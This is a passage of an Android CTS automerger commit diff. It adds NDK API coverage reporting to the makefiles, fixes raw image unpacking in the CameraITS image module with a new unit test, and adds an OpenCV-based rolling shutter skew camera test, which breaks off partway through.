[automerger skipped] Merge "[RESTRICT AUTOMERGE]: STS include missing apps from EphemeralTest" into oc-dev am: c5f5cb66f7 -s ours am: 7cc3623902 -s ours

am skip reason: Change-Id Ifac667a3667727815f3c0b789ed8816035266802 with SHA-1 7a2e8c869a is in history

Original change: https://googleplex-android-review.googlesource.com/c/platform/cts/+/13121463

MUST ONLY BE SUBMITTED BY AUTOMERGER

Change-Id: Id0a033da2b43da214f81a1fef9a301d0863ae9c1
diff --git a/CleanSpec.mk b/CleanSpec.mk
index b2474c2..71ada3d 100644
--- a/CleanSpec.mk
+++ b/CleanSpec.mk
@@ -45,6 +45,8 @@
 #$(call add-clean-step, rm -rf $(PRODUCT_OUT)/data/*)
 
 $(call add-clean-step, rm -rf $(HOST_OUT_INTERMEDIATES)/EXECUTABLES/vm-tests-tf_intermediates)
+$(call add-clean-step, rm -rf $(OUT_DIR)/host/common/obj/JAVA_LIBRARIES/cts-tradefed_intermediates/com/android/compatibility/SuiteInfo.java)
+
 # ************************************************
 # NEWER CLEAN STEPS MUST BE AT THE END OF THE LIST
 # ************************************************
diff --git a/CtsCoverage.mk b/CtsCoverage.mk
index c4536f63..895af4d 100644
--- a/CtsCoverage.mk
+++ b/CtsCoverage.mk
@@ -29,12 +29,19 @@
 	$(hide) mkdir -p $(dir $@)
 	$(hide) $(APICHECK_COMMAND) -convert2xml $< $@
 
+napi_text_description := cts/tools/cts-api-coverage/etc/ndk-api.xml
+napi_xml_description := $(coverage_out)/ndk-api.xml
+$(napi_xml_description) : $(napi_text_description) $(ACP)
+		$(hide) echo "Preparing NDK API XML: $@"
+		$(hide) mkdir -p $(dir $@)
+		$(hide) $(ACP)  $< $@
+
 cts-test-coverage-report := $(coverage_out)/test-coverage.html
 cts-verifier-coverage-report := $(coverage_out)/verifier-coverage.html
 cts-combined-coverage-report := $(coverage_out)/combined-coverage.html
 cts-combined-xml-coverage-report := $(coverage_out)/combined-coverage.xml
 
-cts_api_coverage_dependencies := $(cts_api_coverage_exe) $(dexdeps_exe) $(api_xml_description)
+cts_api_coverage_dependencies := $(cts_api_coverage_exe) $(dexdeps_exe) $(api_xml_description) $(napi_xml_description)
 
 android_cts_zip := $(HOST_OUT)/cts/android-cts.zip
 cts_verifier_apk := $(call intermediates-dir-for,APPS,CtsVerifier)/package.apk
@@ -43,32 +50,36 @@
 $(cts-test-coverage-report): PRIVATE_CTS_API_COVERAGE_EXE := $(cts_api_coverage_exe)
 $(cts-test-coverage-report): PRIVATE_DEXDEPS_EXE := $(dexdeps_exe)
 $(cts-test-coverage-report): PRIVATE_API_XML_DESC := $(api_xml_description)
+$(cts-test-coverage-report): PRIVATE_NAPI_XML_DESC := $(napi_xml_description)
 $(cts-test-coverage-report) : $(android_cts_zip) $(cts_api_coverage_dependencies) | $(ACP)
-	$(call generate-coverage-report,"CTS Tests API Coverage Report",\
+	$(call generate-coverage-report-cts,"CTS Tests API-NDK Coverage Report",\
 			$(PRIVATE_TEST_CASES),html)
 
 $(cts-verifier-coverage-report): PRIVATE_TEST_CASES := $(cts_verifier_apk)
 $(cts-verifier-coverage-report): PRIVATE_CTS_API_COVERAGE_EXE := $(cts_api_coverage_exe)
 $(cts-verifier-coverage-report): PRIVATE_DEXDEPS_EXE := $(dexdeps_exe)
 $(cts-verifier-coverage-report): PRIVATE_API_XML_DESC := $(api_xml_description)
+$(cts-verifier-coverage-report): PRIVATE_NAPI_XML_DESC := $(napi_xml_description)
 $(cts-verifier-coverage-report) : $(cts_verifier_apk) $(cts_api_coverage_dependencies) | $(ACP)
-	$(call generate-coverage-report,"CTS Verifier API Coverage Report",\
+	$(call generate-coverage-report-cts,"CTS Verifier API Coverage Report",\
 			$(PRIVATE_TEST_CASES),html)
 
 $(cts-combined-coverage-report): PRIVATE_TEST_CASES := $(foreach c, $(cts_verifier_apk) $(COMPATIBILITY_TESTCASES_OUT_cts), $(c))
 $(cts-combined-coverage-report): PRIVATE_CTS_API_COVERAGE_EXE := $(cts_api_coverage_exe)
 $(cts-combined-coverage-report): PRIVATE_DEXDEPS_EXE := $(dexdeps_exe)
 $(cts-combined-coverage-report): PRIVATE_API_XML_DESC := $(api_xml_description)
+$(cts-combined-coverage-report): PRIVATE_NAPI_XML_DESC := $(napi_xml_description)
 $(cts-combined-coverage-report) : $(android_cts_zip) $(cts_verifier_apk) $(cts_api_coverage_dependencies) | $(ACP)
-	$(call generate-coverage-report,"CTS Combined API Coverage Report",\
+	$(call generate-coverage-report-cts,"CTS Combined API Coverage Report",\
 			$(PRIVATE_TEST_CASES),html)
 
 $(cts-combined-xml-coverage-report): PRIVATE_TEST_CASES := $(foreach c, $(cts_verifier_apk) $(COMPATIBILITY_TESTCASES_OUT_cts), $(c))
 $(cts-combined-xml-coverage-report): PRIVATE_CTS_API_COVERAGE_EXE := $(cts_api_coverage_exe)
 $(cts-combined-xml-coverage-report): PRIVATE_DEXDEPS_EXE := $(dexdeps_exe)
 $(cts-combined-xml-coverage-report): PRIVATE_API_XML_DESC := $(api_xml_description)
+$(cts-combined-xml-coverage-report): PRIVATE_NAPI_XML_DESC := $(napi_xml_description)
 $(cts-combined-xml-coverage-report) : $(android_cts_zip) $(cts_verifier_apk) $(cts_api_coverage_dependencies) | $(ACP)
-	$(call generate-coverage-report,"CTS Combined API Coverage Report - XML",\
+	$(call generate-coverage-report-cts,"CTS Combined API Coverage Report - XML",\
 			$(PRIVATE_TEST_CASES),xml)
 
 .PHONY: cts-test-coverage
@@ -95,10 +106,10 @@
 #  1 - Name of the report printed out on the screen
 #  2 - List of apk files that will be scanned to generate the report
 #  3 - Format of the report
-define generate-coverage-report
+define generate-coverage-report-cts
 	$(hide) mkdir -p $(dir $@)
-	$(hide) $(PRIVATE_CTS_API_COVERAGE_EXE) -d $(PRIVATE_DEXDEPS_EXE) -a $(PRIVATE_API_XML_DESC) -f $(3) -o $@ $(2)
-	@ echo $(1): file://$(ANDROID_BUILD_TOP)/$@
+	$(hide) $(PRIVATE_CTS_API_COVERAGE_EXE) -d $(PRIVATE_DEXDEPS_EXE) -a $(PRIVATE_API_XML_DESC) -n $(PRIVATE_NAPI_XML_DESC) -f $(3) -o $@ $(2)
+	@ echo $(1): file://$$(cd $(dir $@); pwd)/$(notdir $@)
 endef
 
 # Reset temp vars
@@ -109,6 +120,8 @@
 cts-test-coverage-report :=
 api_xml_description :=
 api_text_description :=
+napi_xml_description :=
+napi_text_description :=
 coverage_out :=
 dexdeps_exe :=
 cts_api_coverage_exe :=
diff --git a/PREUPLOAD.cfg b/PREUPLOAD.cfg
index e5c8d7a..cc2aad9 100644
--- a/PREUPLOAD.cfg
+++ b/PREUPLOAD.cfg
@@ -2,6 +2,7 @@
 checkstyle_hook = ${REPO_ROOT}/prebuilts/checkstyle/checkstyle.py --sha ${PREUPLOAD_COMMIT}
                   -fw apps/CtsVerifier/src/com/android/cts/verifier/usb/
                       apps/CtsVerifierUSBCompanion/
+                      tests/autofillservice/
                       tests/tests/animation/
                       tests/tests/print/
                       tests/tests/text/
diff --git a/apps/CameraITS/build/scripts/gpylint_rcfile b/apps/CameraITS/build/scripts/gpylint_rcfile
index 43d3dbc..37f43f7 100644
--- a/apps/CameraITS/build/scripts/gpylint_rcfile
+++ b/apps/CameraITS/build/scripts/gpylint_rcfile
@@ -279,7 +279,7 @@
 
 # Number of spaces of indent required when the last token on the preceding line
 # is an open (, [, or {.
-indent-after-paren=4
+indent-after-paren=8
 
 # Minimum number of spaces between the end of a line and an inline comment.
 min-comment-space=2
diff --git a/apps/CameraITS/pymodules/its/image.py b/apps/CameraITS/pymodules/its/image.py
index 3543764..c1bc0e2 100644
--- a/apps/CameraITS/pymodules/its/image.py
+++ b/apps/CameraITS/pymodules/its/image.py
@@ -16,16 +16,14 @@
 matplotlib.use('Agg')
 
 import its.error
-from matplotlib import pylab
 import sys
 from PIL import Image
 import numpy
 import math
 import unittest
 import cStringIO
-import scipy.stats
 import copy
-import os
+import random
 
 DEFAULT_YUV_TO_RGB_CCM = numpy.matrix([
                                 [1.000,  0.000,  1.402],
@@ -86,6 +84,7 @@
     else:
         raise its.error.Error('Invalid format %s' % (cap["format"]))
 
+
 def unpack_rawstats_capture(cap):
     """Unpack a rawStats capture to the mean and variance images.
 
@@ -105,6 +104,7 @@
     var_image = analysis_image[1,:,:,:].reshape(h,w,4)
     return mean_image, var_image
 
+
 def unpack_raw10_capture(cap, props):
     """Unpack a raw-10 capture to a raw-16 capture.
 
@@ -125,6 +125,7 @@
     cap["format"] = "raw"
     return cap
 
+
 def unpack_raw10_image(img):
     """Unpack a raw-10 image to a raw-16 image.
 
@@ -150,11 +151,14 @@
     lsbs = img[::, 4::5].reshape(h,w/4)
     lsbs = numpy.right_shift(
             numpy.packbits(numpy.unpackbits(lsbs).reshape(h,w/4,4,2),3), 6)
+    # Pair the LSB bits group to pixel 0 instead of pixel 3
+    lsbs = lsbs.reshape(h,w/4,4)[:,:,::-1]
     lsbs = lsbs.reshape(h,w)
     # Fuse the MSBs and LSBs back together
     img16 = numpy.bitwise_or(msbs, lsbs).reshape(h,w)
     return img16
 
+
 def unpack_raw12_capture(cap, props):
     """Unpack a raw-12 capture to a raw-16 capture.
 
@@ -175,6 +179,7 @@
     cap["format"] = "raw"
     return cap
 
+
 def unpack_raw12_image(img):
     """Unpack a raw-12 image to a raw-16 image.
 
@@ -200,11 +205,14 @@
     lsbs = img[::, 2::3].reshape(h,w/2)
     lsbs = numpy.right_shift(
             numpy.packbits(numpy.unpackbits(lsbs).reshape(h,w/2,2,4),3), 4)
+    # Pair the LSB bits group to pixel 0 instead of pixel 1
+    lsbs = lsbs.reshape(h,w/2,2)[:,:,::-1]
     lsbs = lsbs.reshape(h,w)
     # Fuse the MSBs and LSBs back together
     img16 = numpy.bitwise_or(msbs, lsbs).reshape(h,w)
     return img16
 
+
 def convert_capture_to_planes(cap, props=None):
     """Convert a captured image object to separate image planes.
 
@@ -303,6 +311,7 @@
     else:
         raise its.error.Error('Invalid format %s' % (cap["format"]))
 
+
 def get_canonical_cfa_order(props):
     """Returns a mapping from the Bayer 2x2 top-left grid in the CFA to
     the standard order R,Gr,Gb,B.
@@ -333,6 +342,7 @@
     else:
         raise its.error.Error("Not supported")
 
+
 def get_gains_in_canonical_order(props, gains):
     """Reorders the gains tuple to the canonical R,Gr,Gb,B order.
 
@@ -353,6 +363,7 @@
     else:
         raise its.error.Error("Not supported")
 
+
 def convert_raw_to_rgb_image(r_plane, gr_plane, gb_plane, b_plane,
                              props, cap_res):
     """Convert a Bayer raw-16 image to an RGB image.
@@ -402,6 +413,7 @@
     img = numpy.dot(img.reshape(w*h,3), ccm.T).reshape(h,w,3).clip(0.0,1.0)
     return img
 
+
 def get_black_level(chan, props, cap_res):
     """Return the black level to use for a given capture.
 
@@ -425,6 +437,7 @@
     ordered_black_levels = [black_levels[i] for i in idxs]
     return ordered_black_levels[chan]
 
+
 def convert_yuv420_planar_to_rgb_image(y_plane, u_plane, v_plane,
                                        w, h,
                                        ccm_yuv_to_rgb=DEFAULT_YUV_TO_RGB_CCM,
@@ -456,6 +469,7 @@
     rgb.reshape(w*h*3)[:] = flt.reshape(w*h*3)[:]
     return rgb.astype(numpy.float32) / 255.0
 
+
 def load_rgb_image(fname):
     """Load a standard image file (JPG, PNG, etc.).
 
@@ -478,6 +492,7 @@
     else:
         raise its.error.Error('Unsupported image type')
 
+
 def load_yuv420_to_rgb_image(yuv_fname,
                              w, h,
                              layout="planar",
@@ -517,6 +532,7 @@
         return convert_yuv420_planar_to_rgb_image(
                 y,u,v,w,h,ccm_yuv_to_rgb,yuv_off)
 
+
 def load_yuv420_planar_to_yuv_planes(yuv_fname, w, h):
     """Load a YUV420 planar image file, and return Y, U, and V plane images.
 
@@ -539,6 +555,7 @@
                 (u.astype(numpy.float32) / 255.0).reshape(h/2, w/2, 1),
                 (v.astype(numpy.float32) / 255.0).reshape(h/2, w/2, 1))
 
+
 def decompress_jpeg_to_rgb_image(jpeg_buffer):
     """Decompress a JPEG-compressed image, returning as an RGB image.
 
@@ -553,6 +570,7 @@
     h = img.size[1]
     return numpy.array(img).reshape(h,w,3) / 255.0
 
+
 def apply_lut_to_image(img, lut):
     """Applies a LUT to every pixel in a float image array.
 
@@ -586,6 +604,7 @@
     m = float(n-1)
     return (lut[(img * m).astype(numpy.uint16)] / m).astype(numpy.float32)
 
+
 def apply_matrix_to_image(img, mat):
     """Multiplies a 3x3 matrix with each float-3 image pixel.
 
@@ -610,6 +629,7 @@
                              ).reshape(w*h*3)[:]
     return img2
 
+
 def get_image_patch(img, xnorm, ynorm, wnorm, hnorm):
     """Get a patch (tile) of an image.
 
@@ -628,6 +648,7 @@
     htile = int(math.floor(hnorm * hfull))
     return img[ytile:ytile+htile,xtile:xtile+wtile,:].copy()
 
+
 def compute_image_means(img):
     """Calculate the mean of each color channel in the image.
 
@@ -643,6 +664,7 @@
         means.append(numpy.mean(img[:,:,i], dtype=numpy.float64))
     return means
 
+
 def compute_image_variances(img):
     """Calculate the variance of each color channel in the image.
 
@@ -658,6 +680,7 @@
         variances.append(numpy.var(img[:,:,i], dtype=numpy.float64))
     return variances
 
+
 def compute_image_snrs(img):
     """Calculate the SNR (db) of each color channel in the image.
 
@@ -673,6 +696,7 @@
     snr = [20 * math.log10(m/s) for m,s in zip(means, std_devs)]
     return snr
 
+
 def write_image(img, fname, apply_gamma=False):
     """Save a float-3 numpy array image to a file.
 
@@ -701,6 +725,7 @@
     else:
         raise its.error.Error('Unsupported image type')
 
+
 def downscale_image(img, f):
     """Shrink an image by a given integer factor.
 
@@ -842,5 +867,40 @@
         passed = all([math.fabs(y[i] - y_ref[i]) < 0.001 for i in xrange(3)])
         self.assertTrue(passed)
 
-if __name__ == '__main__':
+    def test_unpack_raw10_image(self):
+        """Unit test for unpack_raw10_image.
+
+        RAW10 bit packing format
+                bit 7   bit 6   bit 5   bit 4   bit 3   bit 2   bit 1   bit 0
+        Byte 0: P0[9]   P0[8]   P0[7]   P0[6]   P0[5]   P0[4]   P0[3]   P0[2]
+        Byte 1: P1[9]   P1[8]   P1[7]   P1[6]   P1[5]   P1[4]   P1[3]   P1[2]
+        Byte 2: P2[9]   P2[8]   P2[7]   P2[6]   P2[5]   P2[4]   P2[3]   P2[2]
+        Byte 3: P3[9]   P3[8]   P3[7]   P3[6]   P3[5]   P3[4]   P3[3]   P3[2]
+        Byte 4: P3[1]   P3[0]   P2[1]   P2[0]   P1[1]   P1[0]   P0[1]   P0[0]
+        """
+        # test by using a random 4x4 10-bit image
+        H = 4
+        W = 4
+        check_list = random.sample(range(0, 1024), H*W)
+        img_check = numpy.array(check_list).reshape(H, W)
+        # pack bits
+        for row_start in range(0, len(check_list), W):
+            msbs = []
+            lsbs = ""
+            for pixel in range(W):
+                val = numpy.binary_repr(check_list[row_start+pixel], 10)
+                msbs.append(int(val[:8], base=2))
+                lsbs = val[8:] + lsbs
+            packed = msbs
+            packed.append(int(lsbs, base=2))
+            chunk_raw10 = numpy.array(packed, dtype="uint8").reshape(1, 5)
+            if row_start == 0:
+                img_raw10 = chunk_raw10
+            else:
+                img_raw10 = numpy.vstack((img_raw10, chunk_raw10))
+        # unpack and check against original
+        self.assertTrue(numpy.array_equal(unpack_raw10_image(img_raw10),
+                                          img_check))
+
+if __name__ == "__main__":
     unittest.main()
diff --git a/apps/CameraITS/tests/rolling_shutter_skew/RollingShutterSkew.pdf b/apps/CameraITS/tests/rolling_shutter_skew/RollingShutterSkew.pdf
new file mode 100644
index 0000000..1a6c30a
--- /dev/null
+++ b/apps/CameraITS/tests/rolling_shutter_skew/RollingShutterSkew.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/rolling_shutter_skew/test_rolling_shutter_skew.py b/apps/CameraITS/tests/rolling_shutter_skew/test_rolling_shutter_skew.py
new file mode 100644
index 0000000..824c180
--- /dev/null
+++ b/apps/CameraITS/tests/rolling_shutter_skew/test_rolling_shutter_skew.py
@@ -0,0 +1,675 @@
+"""Experimentally determines a camera's rolling shutter skew.
+
+See the accompanying PDF for instructions on how to use this test.
+"""
+from __future__ import division
+from __future__ import print_function
+
+import argparse
+import glob
+import math
+import os
+import sys
+import tempfile
+
+import cv2
+import its.caps
+import its.device
+import its.image
+import its.objects
+import numpy as np
+
+DEBUG = False
+
+# Constants for which direction the camera is facing.
+FACING_FRONT = 0
+FACING_BACK = 1
+FACING_EXTERNAL = 2
+
+# Camera capture defaults.
+FPS = 30
+WIDTH = 640
+HEIGHT = 480
+TEST_LENGTH = 1
+
+# Each circle in a cluster must be within this many pixels of some other circle
+# in the cluster.
+CLUSTER_DISTANCE = 50.0 / HEIGHT
+# A cluster must consist of at least this percentage of the total contours for
+# it to be allowed into the computation.
+MAJORITY_THRESHOLD = 0.7
+
+# Constants to make sure the slope of the fitted line is reasonable.
+SLOPE_MIN_THRESHOLD = 0.5
+SLOPE_MAX_THRESHOLD = 1.5
+
+# To improve readability of unit conversions.
+SEC_TO_NSEC = float(10**9)
+MSEC_TO_NSEC = float(10**6)
+NSEC_TO_MSEC = 1.0 / float(10**6)
+
+
+class RollingShutterArgumentParser(object):
+    """Parses command line arguments for the rolling shutter test."""
+
+    def __init__(self):
+        self.__parser = argparse.ArgumentParser(
+                description='Run rolling shutter test')
+        self.__parser.add_argument(
+                '-d', '--debug',
+                action='store_true',
+                help='print and write data useful for debugging')
+        self.__parser.add_argument(
+                '-f', '--fps',
+                type=int,
+                help='FPS to capture with during the test (defaults to 30)')
+        self.__parser.add_argument(
+                '-i', '--img_size',
+                help=('comma-separated dimensions of captured images (defaults '
+                      'to 640x480). Example: --img_size=<width>,<height>'))
+        self.__parser.add_argument(
+                '-l', '--led_time',
+                type=float,
+                required=True,
+                help=('how many milliseconds each column of the LED array is '
+                      'lit for'))
+        self.__parser.add_argument(
+                '-p', '--panel_distance',
+                type=float,
+                help='how far the LED panel is from the camera (in meters)')
+        self.__parser.add_argument(
+                '-r', '--read_dir',
+                help=('read existing test data from specified directory.  If '
+                      'not specified, new test data is collected from the '
+                      'device\'s camera)'))
+        self.__parser.add_argument(
+                '--device_id',
+                help=('device ID for device being tested (can also use '
+                      '\'device=<DEVICE ID>\')'))
+        self.__parser.add_argument(
+                '-t', '--test_length',
+                type=int,
+                help=('how many seconds the test should run for (defaults to 1 '
+                      'second)'))
+        self.__parser.add_argument(
+                '-o', '--debug_dir',
+                help=('write debugging information in a folder in the '
+                      'specified directory.  Otherwise, the system\'s default '
+                      'location for temporary folders is used.  --debug must '
+                      'be specified along with this argument.'))
+
+    def parse_args(self):
+        """Returns object containing parsed values from the command line."""
+        # Don't show argparse the 'device' flag, since it's in a different
+        # format than the others (to maintain CameraITS conventions) and it will
+        # complain.
+        filtered_args = [arg for arg in sys.argv[1:] if 'device=' not in arg]
+        args = self.__parser.parse_args(filtered_args)
+        if args.device_id:
+            # If argparse format is used, convert it to a format its.device can
+            # use later on.
+            sys.argv.append('device=%s' % args.device_id)
+        return args
+
+
+def main():
+    global DEBUG
+    global CLUSTER_DISTANCE
+
+    parser = RollingShutterArgumentParser()
+    args = parser.parse_args()
+
+    DEBUG = args.debug
+    if not DEBUG and args.debug_dir:
+        print('argument --debug_dir requires --debug', file=sys.stderr)
+        sys.exit()
+
+    if args.read_dir is None:
+        # Collect new data.
+        raw_caps, reported_skew = collect_data(args)
+        frames = [its.image.convert_capture_to_rgb_image(c) for c in raw_caps]
+    else:
+        # Load existing data.
+        frames, reported_skew = load_data(args.read_dir)
+
+    # Make the cluster distance relative to the height of the image.
+    (frame_h, _, _) = frames[0].shape
+    CLUSTER_DISTANCE = frame_h * CLUSTER_DISTANCE
+    debug_print('Setting cluster distance to %spx.' % CLUSTER_DISTANCE)
+
+    if DEBUG:
+        debug_dir = setup_debug_dir(args.debug_dir)
+        # Write raw frames.
+        for i, img in enumerate(frames):
+            its.image.write_image(img, '%s/raw/%03d.png' % (debug_dir, i))
+    else:
+        debug_dir = None
+
+    avg_shutter_skew, num_frames_used = find_average_shutter_skew(
+            frames, args.led_time, debug_dir)
+    if debug_dir:
+        # Write the reported skew with the raw images, so the directory can also
+        # be used to read from.
+        with open(debug_dir + '/raw/reported_skew.txt', 'w') as f:
+            f.write('%sms\n' % reported_skew)
+
+    if avg_shutter_skew is None:
+        print('Could not find usable frames.')
+    else:
+        print('Device reported shutter skew of %sms.' % reported_skew)
+        print('Measured shutter skew is %sms (averaged over %s frames).' %
+              (avg_shutter_skew, num_frames_used))
+
+
+def collect_data(args):
+    """Capture a new set of frames from the device's camera.
+
+    Args:
+        args: Parsed command line arguments.
+
+    Returns:
+        A list of RGB images as numpy arrays.
+    """
+    fps = args.fps if args.fps else FPS
+    if args.img_size:
+        w, h = map(int, args.img_size.split(','))
+    else:
+        w, h = WIDTH, HEIGHT
+    test_length = args.test_length if args.test_length else TEST_LENGTH
+
+    with its.device.ItsSession() as cam:
+        props = cam.get_camera_properties()
+        its.caps.skip_unless(its.caps.manual_sensor(props))
+        facing = props['android.lens.facing']
+        if facing != FACING_FRONT and facing != FACING_BACK:
+            print('Unknown lens facing %s' % facing)
+            assert 0
+
+        fmt = {'format': 'yuv', 'width': w, 'height': h}
+        s, e, _, _, _ = cam.do_3a(get_results=True, do_af=False)
+        req = its.objects.manual_capture_request(s, e)
+        req['android.control.aeTargetFpsRange'] = [fps, fps]
+
+        # Convert from milliseconds to nanoseconds.  We only want enough
+        # exposure time to saturate approximately one column.
+        exposure_time = (args.led_time / 2.0) * MSEC_TO_NSEC
+        print('Using exposure time of %sns.' % exposure_time)
+        req['android.sensor.exposureTime'] = exposure_time
+        req["android.sensor.frameDuration"] = int(SEC_TO_NSEC / fps);
+
+        if args.panel_distance is not None:
+            # Convert meters to diopters and use that for the focus distance.
+            req['android.lens.focusDistance'] = 1 / args.panel_distance
+        print('Starting capture')
+        raw_caps = cam.do_capture([req]*fps*test_length, fmt)
+        print('Finished capture')
+
+        # Convert from nanoseconds to milliseconds.
+        shutter_skews = {c['metadata']['android.sensor.rollingShutterSkew'] *
+                          NSEC_TO_MSEC for c in raw_caps}
+        # All frames should have same rolling shutter skew.
+        assert len(shutter_skews) == 1
+        shutter_skew = list(shutter_skews)[0]
+
+        return raw_caps, shutter_skew
+
+
+def load_data(dir_name):
+    """Reads camera frame data from an existing directory.
+
+    Args:
+        dir_name: Name of the directory to read data from.
+
+    Returns:
+        A list of RGB images as numpy arrays.
+    """
+    frame_files = glob.glob('%s/*.png' % dir_name)
+    frames = []
+    for frame_file in sorted(frame_files):
+        frames.append(its.image.load_rgb_image(frame_file))
+    with open('%s/reported_skew.txt' % dir_name, 'r') as f:
+        reported_skew = f.readline()[:-2]  # Strip off 'ms' suffix
+    return frames, reported_skew
+
+
+def find_average_shutter_skew(frames, led_time, debug_dir=None):
+    """Finds the average shutter skew using the given frames.
+
+    Frames without enough information will be discarded from the average to
+    improve overall accuracy.
+
+    Args:
+        frames:    List of RGB images from the camera being tested.
+        led_time:  How long a single LED column is lit for (in milliseconds).
+        debug_dir: (optional) Directory to write debugging information to.
+
+    Returns:
+        The average calculated shutter skew and the number of frames used to
+        calculate the average.
+    """
+    avg_shutter_skew = 0.0
+    avg_slope = 0.0
+    weight = 0.0
+    num_frames_used = 0
+
+    for i, frame in enumerate(frames):
+        debug_print('------------------------')
+        debug_print('| PROCESSING FRAME %03d |' % i)
+        debug_print('------------------------')
+        shutter_skew, confidence, slope = calculate_shutter_skew(
+                frame, led_time, i, debug_dir=debug_dir)
+        if shutter_skew is None:
+            debug_print('Skipped frame.')
+        else:
+            debug_print('Shutter skew is %sms (confidence: %s).' %
+                        (shutter_skew, confidence))
+            # Use the confidence to weight the average.
+            avg_shutter_skew += shutter_skew * confidence
+            avg_slope += slope * confidence
+            weight += confidence
+            num_frames_used += 1
+
+    debug_print('\n')
+    if num_frames_used == 0:
+        return None, None
+    else:
+        avg_shutter_skew /= weight
+        avg_slope /= weight
+        slope_err_str = ('The average slope of the fitted line was too %s '
+                         'to get an accurate measurement (slope was %s).  '
+                         'Try making the LED panel %s.')
+        if avg_slope < SLOPE_MIN_THRESHOLD:
+            print(slope_err_str % ('flat', avg_slope, 'slower'),
+                  file=sys.stderr)
+        elif avg_slope > SLOPE_MAX_THRESHOLD:
+            print(slope_err_str % ('steep', avg_slope, 'faster'),
+                  file=sys.stderr)
+        return avg_shutter_skew, num_frames_used
+
+
+def calculate_shutter_skew(frame, led_time, frame_num=None, debug_dir=None):
+    """Calculates the shutter skew of the camera being used for this test.
+
+    Args:
+        frame:     A single RGB image captured by the camera being tested.
+        led_time:  How long a single LED column is lit for (in milliseconds).
+        frame_num: (optional) Number of the given frame.
+        debug_dir: (optional) Directory to write debugging information to.
+
+    Returns:
+        The shutter skew (in milliseconds), the confidence in the accuracy of
+        the measurement (useful for weighting averages), and the slope of the
+        fitted line.
+    """
+    contours, scratch_img, contour_img, mono_img = find_contours(frame.copy())
+    if debug_dir is not None:
+        cv2.imwrite('%s/contour/%03d.png' % (debug_dir, frame_num), contour_img)
+        cv2.imwrite('%s/mono/%03d.png' % (debug_dir, frame_num), mono_img)
+
+    largest_cluster, cluster_percentage = find_largest_cluster(contours,
+                                                               scratch_img)
+    if largest_cluster is None:
+        debug_print('No majority cluster found.')
+        return None, None, None
+    elif len(largest_cluster) <= 1:
+        debug_print('Majority cluster was too small.')
+        return None, None, None
+    debug_print('%s points in the largest cluster.' % len(largest_cluster))
+
+    np_cluster = np.array([[c.x, c.y] for c in largest_cluster])
+    [vx], [vy], [x0], [y0] = cv2.fitLine(np_cluster, cv2.cv.CV_DIST_L2,
+                                         0, 0.01, 0.01)
+    slope = vy / vx
+    debug_print('Slope is %s.' % slope)
+    (frame_h, frame_w, _) = frame.shape
+    # Draw line onto scratch frame.
+    pt1 = tuple(map(int, (x0 - vx * 1000, y0 - vy * 1000)))
+    pt2 = tuple(map(int, (x0 + vx * 1000, y0 + vy * 1000)))
+    cv2.line(scratch_img, pt1, pt2, (0, 255, 255), thickness=3)
+
+    # We only need the width of the cluster.
+    _, _, cluster_w, _ = find_cluster_bounding_rect(largest_cluster,
+                                                    scratch_img)
+
+    num_columns = find_num_columns_spanned(largest_cluster)
+    debug_print('%s columns spanned by cluster.' % num_columns)
+    # How long it takes for a column to move from the left of the bounding
+    # rectangle to the right.
+    left_to_right_time = led_time * num_columns
+    milliseconds_per_x_pixel = left_to_right_time / cluster_w
+    # The distance between the line's intersection at the top of the frame and
+    # the intersection at the bottom.
+    x_range = frame_h / slope
+    shutter_skew = milliseconds_per_x_pixel * x_range
+    # If the aspect ratio is different from 4:3 (the aspect ratio of the actual
+    # sensor), we need to correct, because it will be cropped.
+    shutter_skew *= (float(frame_w) / float(frame_h)) / (4.0 / 3.0)
+
+    if debug_dir is not None:
+        cv2.imwrite('%s/scratch/%03d.png' % (debug_dir, frame_num),
+                    scratch_img)
+
+    return shutter_skew, cluster_percentage, slope
+
+
+def find_contours(img):
+    """Finds contours in the given image.
+
+    Args:
+        img: Image in Android camera RGB format.
+
+    Returns:
+        OpenCV-formatted contours, the original image in OpenCV format, a
+        thresholded image with the contours drawn on, and a grayscale version of
+        the image.
+    """
+    # Convert to format OpenCV can work with (BGR ordering with byte-ranged
+    # values).
+    img *= 255
+    img = img.astype(np.uint8)
+    img = cv2.cvtColor(img, cv2.COLOR_RGB2BGR)
+
+    # Since the LED colors for the panel we're using are red, we can get better
+    # contours for the LEDs if we ignore the green and blue channels.  This also
+    # makes it so we don't pick up the blue control screen of the LED panel.
+    red_img = img[:, :, 2]
+    _, thresh = cv2.threshold(red_img, 0, 255, cv2.THRESH_BINARY +
+                              cv2.THRESH_OTSU)
+
+    # Remove noise before finding contours by eroding the thresholded image and
+    # then re-dilating it.  The size of the kernel represents how many
+    # neighboring pixels to consider for the result of a single pixel.
+    kernel = np.ones((3, 3), np.uint8)
+    opening = cv2.morphologyEx(thresh, cv2.MORPH_OPEN, kernel, iterations=2)
+
+    if DEBUG:
+        # Need to convert it back to BGR if we want to draw colored contours.
+        contour_img = cv2.cvtColor(opening, cv2.COLOR_GRAY2BGR)
+    else:
+        contour_img = None
+    contours, _ = cv2.findContours(opening,
+                                   cv2.cv.CV_RETR_EXTERNAL,
+                                   cv2.cv.CV_CHAIN_APPROX_NONE)
+    if DEBUG:
+        cv2.drawContours(contour_img, contours, -1, (0, 0, 255), thickness=2)
+    return contours, img, contour_img, red_img
+
+
+def convert_to_circles(contours):
+    """Converts given contours into circle objects.
+
+    Args:
+        contours: Contours generated by OpenCV.
+
+    Returns:
+        A list of circles.
+    """
+
+    class Circle(object):
+        """Holds data to uniquely define a circle."""
+
+        def __init__(self, contour):
+            self.x = int(np.mean(contour[:, 0, 0]))
+            self.y = int(np.mean(contour[:, 0, 1]))
+            # Get diameters of each axis then half it.
+            x_r = (np.max(contour[:, 0, 0]) - np.min(contour[:, 0, 0])) / 2.0
+            y_r = (np.max(contour[:, 0, 1]) - np.min(contour[:, 0, 1])) / 2.0
+            # Average x radius and y radius to get the approximate radius for
+            # the given contour.
+            self.r = (x_r + y_r) / 2.0
+            assert self.r > 0.0
+
+        def distance_to(self, other):
+            return (math.sqrt((other.x - self.x)**2 + (other.y - self.y)**2) -
+                    self.r - other.r)
+
+        def intersects(self, other):
+            return self.distance_to(other) <= 0.0
+
+    return list(map(Circle, contours))
+
+
+def find_largest_cluster(contours, frame):
+    """Finds the largest cluster in the given contours.
+
+    Args:
+        contours: Contours generated by OpenCV.
+        frame:    For drawing debugging information onto.
+
+    Returns:
+        The cluster with the most contours in it and the percentage of all
+        contours that the cluster contains.
+    """
+    clusters = proximity_clusters(contours)
+
+    if not clusters:
+        return None, None  # No clusters found.
+
+    largest_cluster = max(clusters, key=len)
